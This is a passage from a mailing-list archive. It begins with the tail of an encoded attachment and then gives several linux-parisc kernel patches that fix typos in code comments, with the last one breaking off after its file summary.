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

--mP3DRpeJDSE+ciuQ--

From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 0206/1529] Fix typo
Date: Sat, 21 May 2016 14:02:59 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20160521120259.10661-1-andrea.gelmini@gelma.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1463832195 29018 80.91.229.3 (21 May 2016 12:03:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 May 2016 12:03:15 +0000 (UTC)
Cc: trivial@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 21 14:03:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b45cZ-0001a3-5B
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 May 2016 14:03:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752141AbcEUMDG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 May 2016 08:03:06 -0400
Original-Received: from mail-lb0-f194.google.com ([209.85.217.194]:35706 "EHLO
	mail-lb0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751641AbcEUMDF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 May 2016 08:03:05 -0400
Original-Received: by mail-lb0-f194.google.com with SMTP id mx9so6877481lbb.2
        for <linux-parisc@vger.kernel.org>; Sat, 21 May 2016 05:03:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id;
        bh=vzwsPsebv0WcPZX0WntCRSGCIsZcmRxHv4xA5rmcEY8=;
        b=teQXJ/YT1unLchrAO7DLdGnnEJWksGH1Q6oNRR6zPUPiLrZ35TWUpIa4yuDScdRBg6
         7VEzs53M2YHm40rcR89oD4QbHbG13TnFb9wL8gQpAVYWUmH0j9Z2oUvx6FNsKRCU/8bg
         TXPrI6rgAUtlIQSVjtCG3h+POo24EtL/RMoiOAZN/XkH6Q+tTJZ16vtAleZFK3nJvzuB
         uBfAsy1LTkKZWcmhNxzGPAa34Tn5Og8v/XzjxDtk/YRkuMVtySDpGvpLu0/isE0O1ATV
         l1MgFe0IdbictHW2a/+yWT5j3s/ksfnWeOqWDU+5uAsJ5fYpTDbgpvZ5UGVZgVw+KzhE
         iuFg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:sender:from:to:cc:subject:date:message-id;
        bh=vzwsPsebv0WcPZX0WntCRSGCIsZcmRxHv4xA5rmcEY8=;
        b=DGQvoNvM9c1xHa6xRgJFwo9zuKtqfEp9h+39QDYpuzHnj84aZLbQY1GtLvV6UCyENC
         QbSPzqKM3pevUeCtu4RqbnmNJQPICcH3i/Taai1stovCvpDCIdMSpw4iH4Gt9VAS0Y8r
         NCef9/gJIkVIxFIKvEY+HpUDRy/4Z2kEbqb1L/hCQ7nBFQpAORNT6DIsOscpp6PQt2kj
         2b4WhixBRnZsqpNfwhKp7GL2NQwXEDzT9bBWoyAMBrBevxE0egxZRMDm77VVZej79UD6
         X98iqR+GAsXDU1F0edp7r2O99dZfBvuGKStWYh0GyJnlHqRro7mC9MUH9js/K0igb+V/
         SOnA==
X-Gm-Message-State: AOPr4FUzLM5EWK2sWR4b4EQ5yuSfBq1YYUS376tg9Q5ABiIT6l0qf9XyH8nBzG7w4Vr3CQ==
X-Received: by 10.112.63.202 with SMTP id i10mr2672545lbs.93.1463832183414;
        Sat, 21 May 2016 05:03:03 -0700 (PDT)
Original-Received: from glen.ipredator.se (anon-35-25.vpn.ipredator.se. [46.246.35.25])
        by smtp.gmail.com with ESMTPSA id uh4sm4130663lbb.46.2016.05.21.05.03.01
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 21 May 2016 05:03:02 -0700 (PDT)
X-Mailer: git-send-email 2.8.2.534.g1f66975
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26773
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26773>

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/include/asm/eisa_eeprom.h | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/include/asm/eisa_eeprom.h b/arch/parisc/include/asm/eisa_eeprom.h
index 8ce8b85..5637ac9 100644
--- a/arch/parisc/include/asm/eisa_eeprom.h
+++ b/arch/parisc/include/asm/eisa_eeprom.h
@@ -99,7 +99,7 @@ struct eeprom_eisa_slot_info
 #define HPEE_MEMORY_DECODE_24BITS 0x04
 #define HPEE_MEMORY_DECODE_32BITS 0x08
 /* byte 2 and 3 are a 16bit LE value
- * containging the memory size in kilobytes */
+ * containing the memory size in kilobytes */
 /* byte 4,5,6 are a 24bit LE value
  * containing the memory base address */
 
@@ -135,7 +135,7 @@ struct eeprom_eisa_slot_info
 #define HPEE_PORT_SHARED    0x40
 #define HPEE_PORT_MORE      0x80
 /* byte 1 and 2 is a 16bit LE value
- * conating the start port number */
+ * containing the start port number */
 
 #define HPEE_PORT_INIT_MAX_LEN     60 /* in bytes here */
 /* port init entry byte 0 */
-- 
2.8.2.534.g1f66975

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 0207/1529] Fix typo
Date: Sat, 21 May 2016 14:03:06 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20160521120306.10712-1-andrea.gelmini@gelma.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1463832204 29068 80.91.229.3 (21 May 2016 12:03:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 May 2016 12:03:24 +0000 (UTC)
Cc: trivial@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 21 14:03:14 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b45cf-0001a3-MN
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 May 2016 14:03:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752136AbcEUMDN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 May 2016 08:03:13 -0400
Original-Received: from mail-lf0-f66.google.com ([209.85.215.66]:36838 "EHLO
	mail-lf0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751641AbcEUMDM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 May 2016 08:03:12 -0400
Original-Received: by mail-lf0-f66.google.com with SMTP id d132so1680623lfb.3
        for <linux-parisc@vger.kernel.org>; Sat, 21 May 2016 05:03:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id;
        bh=fY4kHPvlr1xrg34oZzYLuJ7Taejds3HnL+K1GW2fb5c=;
        b=QZWqEu4Q1o+feO6TBzpV0trumS5YclIzVKOtwzugsD9MGQZlM8/c3ShxPim0rOLjeU
         LOasvYCC1Qv5QFeaDNtXz0agsnolL/QFtIu+DaZc+aavvz12Dn5BqgJhtmtwPExnyhuC
         BciJvGIOUbkue9SpjiGyjQNoGapqtREeXN/Q5wcSTMvDkySPW14I6PMTm0lK04XbNjNK
         9akGWZrLjBwulqWSYb83fsd9pE6dtoasVkIG+dbzdn7U+hutRlXmHB50Y6jXZnEhDmqK
         DY4P4bXMjpWAHVHQb2q/E1kbCXJ0JH32C8eMp/7FgbrsTFCyJdS/VMiNZ9DxeT3FocfJ
         SOXA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:sender:from:to:cc:subject:date:message-id;
        bh=fY4kHPvlr1xrg34oZzYLuJ7Taejds3HnL+K1GW2fb5c=;
        b=NX19EPb3A9OXaWa7FeHc02f4QsGP5a2U+hkRAb4NgUMZ0sM4CMaJpcglQGcoj+q4mm
         5WZmubmPBuRG3om5mElbTpgxMafNWQOZzAwtBFoNXYCqO62B2AkSCXurMuFg4N1CkBTs
         N2XOEpV9WHIN9L87HHS4qdohJe4xlZ7lPUVegHOWYaZq6KFacB+xhu4ei444ujmVde8O
         cZOOq3CxcEtxMrb1cztYfWG7cB7XFAbfJxpd7l2iDOP9yLurmc4032VFpExg2E/LsomA
         Ocv5BpWJc1JYQ4LMDU6s9LgwMHqazxMkRZtwf3MgCvOOdfWKO7WY7IWTNGZdZVJpyJa/
         ui4Q==
X-Gm-Message-State: AOPr4FVdGB3xkwqrETnH3t0i4PvC0N9NNG2FTP8W/F7azvcpeSnh0YzkK8UYadw6ROnIOQ==
X-Received: by 10.25.44.199 with SMTP id s190mr2703618lfs.146.1463832191030;
        Sat, 21 May 2016 05:03:11 -0700 (PDT)
Original-Received: from glen.ipredator.se (anon-35-25.vpn.ipredator.se. [46.246.35.25])
        by smtp.gmail.com with ESMTPSA id h9sm4160170lfg.3.2016.05.21.05.03.08
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 21 May 2016 05:03:10 -0700 (PDT)
X-Mailer: git-send-email 2.8.2.534.g1f66975
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26774
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26774>

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/include/asm/ldcw.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/ldcw.h b/arch/parisc/include/asm/ldcw.h
index 8121aa6..8be707e 100644
--- a/arch/parisc/include/asm/ldcw.h
+++ b/arch/parisc/include/asm/ldcw.h
@@ -40,7 +40,7 @@
    memory to indicate to the compiler that the assembly code reads
    or writes to items other than those listed in the input and output
    operands.  This may pessimize the code somewhat but __ldcw is
-   usually used within code blocks surrounded by memory barriors.  */
+   usually used within code blocks surrounded by memory barriers.  */
 #define __ldcw(a) ({						\
 	unsigned __ret;						\
 	__asm__ __volatile__(__LDCW " 0(%1),%0"			\
-- 
2.8.2.534.g1f66975

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 0208/1529] Fix typo
Date: Sat, 21 May 2016 14:03:14 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20160521120314.10762-1-andrea.gelmini@gelma.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1463832208 29103 80.91.229.3 (21 May 2016 12:03:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 May 2016 12:03:28 +0000 (UTC)
Cc: trivial@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 21 14:03:24 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b45cn-0001a3-Om
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 May 2016 14:03:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752142AbcEUMDV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 May 2016 08:03:21 -0400
Original-Received: from mail-lf0-f67.google.com ([209.85.215.67]:33554 "EHLO
	mail-lf0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751641AbcEUMDU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 May 2016 08:03:20 -0400
Original-Received: by mail-lf0-f67.google.com with SMTP id z203so641753lfd.0
        for <linux-parisc@vger.kernel.org>; Sat, 21 May 2016 05:03:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id;
        bh=jGCgGqFg04LP+U1YnElYDsEpiexz0cHQ/LFb70spyNk=;
        b=pg63KScPg2bPZX8NGHuKWcyE6Uadcj9x9sa8m59n4nftdeNmpuF/EocZ32aPV5L1XA
         6NDW86nFbA2y3+jHkXKUeoOwwjK3GiOXglwdW2i7MGBG3OkQzJB/cWRyczC7O+2Pponf
         wZX/8YVkmrxcq9dlRiy6Dr/5kSUVp4OkAiCWOjAssxcwIJkpxZyRAP2q4aPC423QgZZt
         FE6t5PpAqKZWTxitrz52uG+SRwB+YBwDAxig8nYdC8sFoBWr3T8HZnqDaIevg4D5Faju
         DxX4tUud8ZSN9MNFZ8Waxvyu+SWU1x35lmtXkedcfdCYAWiYQQPlhHVA9KyaTAiikC0k
         QwKg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:sender:from:to:cc:subject:date:message-id;
        bh=jGCgGqFg04LP+U1YnElYDsEpiexz0cHQ/LFb70spyNk=;
        b=lHhvG3ybGaOLhKKlFQmMFt3Dxe93NGbfrt9rgX1tshzjrjXWtA8xYcqgM7XQLNg4Pq
         JcGcni7OnN/O7UZtrqGxb4dtLoK24FmjusTDPZ/DVJNqMjuRWdI2emVjj70eCxuLMfBS
         mEyiYZpYUzPlnX8x0qqaGqcDmfJZAbLe7ckIlWG0swjntGQtQsUDMxdVqOHEUmfslvNn
         3eQPNQkRNhA0K1PtwryohHsBgoy2CxasJpi5ZC0xg1O8TueT/owaCvrBy2z8KpM+am96
         khRrOSCnhblPrdju3Jw+1Qezsy99LZ0cva3hCmAZZcjAS89irBOLgwq44+8ephgkgS8Z
         omQg==
X-Gm-Message-State: AOPr4FU+x5k4Fccfm7Y81MRRqBb1D/ymmMhC6S6G+ZL8gJy1VMZJwbbtm7H/fXqKV6dBtg==
X-Received: by 10.25.150.8 with SMTP id y8mr2677861lfd.163.1463832199403;
        Sat, 21 May 2016 05:03:19 -0700 (PDT)
Original-Received: from glen.ipredator.se (anon-35-25.vpn.ipredator.se. [46.246.35.25])
        by smtp.gmail.com with ESMTPSA id z132sm465152lff.46.2016.05.21.05.03.16
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 21 May 2016 05:03:18 -0700 (PDT)
X-Mailer: git-send-email 2.8.2.534.g1f66975
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26775
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26775>

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/include/uapi/asm/pdc.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/include/uapi/asm/pdc.h b/arch/parisc/include/uapi/asm/pdc.h
index 702498f..0609ff1 100644
--- a/arch/parisc/include/uapi/asm/pdc.h
+++ b/arch/parisc/include/uapi/asm/pdc.h
@@ -59,7 +59,7 @@
 #define PDC_MODEL_GET_BOOT__OP	8	/* returns boot test options	*/
 #define PDC_MODEL_SET_BOOT__OP	9	/* set boot test options	*/
 
-#define PA89_INSTRUCTION_SET	0x4	/* capatibilies returned	*/
+#define PA89_INSTRUCTION_SET	0x4	/* capabilities returned	*/
 #define PA90_INSTRUCTION_SET	0x8
 
 #define PDC_CACHE	5		/* return/set cache (& TLB) info*/
-- 
2.8.2.534.g1f66975

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 0209/1529] Fix typo
Date: Sat, 21 May 2016 14:03:22 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20160521120322.10812-1-andrea.gelmini@gelma.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1463832221 29449 80.91.229.3 (21 May 2016 12:03:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 May 2016 12:03:41 +0000 (UTC)
Cc: trivial@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 21 14:03:34 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b45cw-0001a3-TP
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 May 2016 14:03:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752115AbcEUMDa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 May 2016 08:03:30 -0400
Original-Received: from mail-lb0-f193.google.com ([209.85.217.193]:36286 "EHLO
	mail-lb0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751641AbcEUMDa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 May 2016 08:03:30 -0400
Original-Received: by mail-lb0-f193.google.com with SMTP id r5so6878609lbj.3
        for <linux-parisc@vger.kernel.org>; Sat, 21 May 2016 05:03:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id;
        bh=nG3xdcj2aGWwjzfqUnUuCSkIIIYSsNo2w6OPn29KC5w=;
        b=jRC0T9MREnq0GUtJwbgirXQWDxndpnVZpjysrSrqqfxwRDps7+URY6IlnrU3ncODXK
         XmnhMaoAUf4ZQnTLJNkIdLq02Aqfm9zot5HUsiKVVVYLbhupEROPpvMC7nJlzlsPiFLH
         mBHngEH24Mg0oIrYzP7K5YNuowCbfTNcIAfc54ifuWWyRDk18vNQ7F7QAnNN/H1wsts5
         2pDqz80fTKaB2I/UG3DQGg9uBNdP6KUHdTXX1xDqdEcDsrHylA/N+aqMIFsKGI+8vsyT
         tPdBWb10N9smFHTHEVLeqxPFbTCuiziVtx/TNqEXmhBTkjDOtsDfndpCZEp+E+3hUgOX
         MTTw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:sender:from:to:cc:subject:date:message-id;
        bh=nG3xdcj2aGWwjzfqUnUuCSkIIIYSsNo2w6OPn29KC5w=;
        b=i7b1/cvgUcWRv6CgX/1HhZmZocv1uiG3YszdeYqTmtA7s6aiIAR5Z7x2E277PEWqst
         DyoEj4EiahYfzNQxts8NNEYsakuUkHoo3+vJL1DQkmCk9bh5rHfkbGigvsc9VjLtaUaU
         YshwAlFaKr3+5Yhd6UKqTLC8umTlX/d9u2GAr85u1XtiV5YJzGxz+sYkNun5NZc7AWlm
         ZqjedF5CuJ8u/KHG1BGseGZKs1qqynwxvsIr2XU79S3N+jmMAt9O49l1a064R6GIu+ca
         Aa9Cp7frzYxSwUT1p25bqbsQy+xJn/1QeX939wTI51LMR/jC1Wd9EXM0+chTyc8quTKD
         EJNw==
X-Gm-Message-State: AOPr4FWddptyJvUMI8aylS7vE6Eb9jspOmrlxZ2JJD/21D0e9UbQ8dPtezcNnqBu0v92Dg==
X-Received: by 10.112.166.41 with SMTP id zd9mr2674240lbb.122.1463832208623;
        Sat, 21 May 2016 05:03:28 -0700 (PDT)
Original-Received: from glen.ipredator.se (anon-35-25.vpn.ipredator.se. [46.246.35.25])
        by smtp.gmail.com with ESMTPSA id k9sm4261714lfb.4.2016.05.21.05.03.25
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 21 May 2016 05:03:27 -0700 (PDT)
X-Mailer: git-send-email 2.8.2.534.g1f66975
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26776
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26776>

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/math-emu/fpu.h | 6 +++---
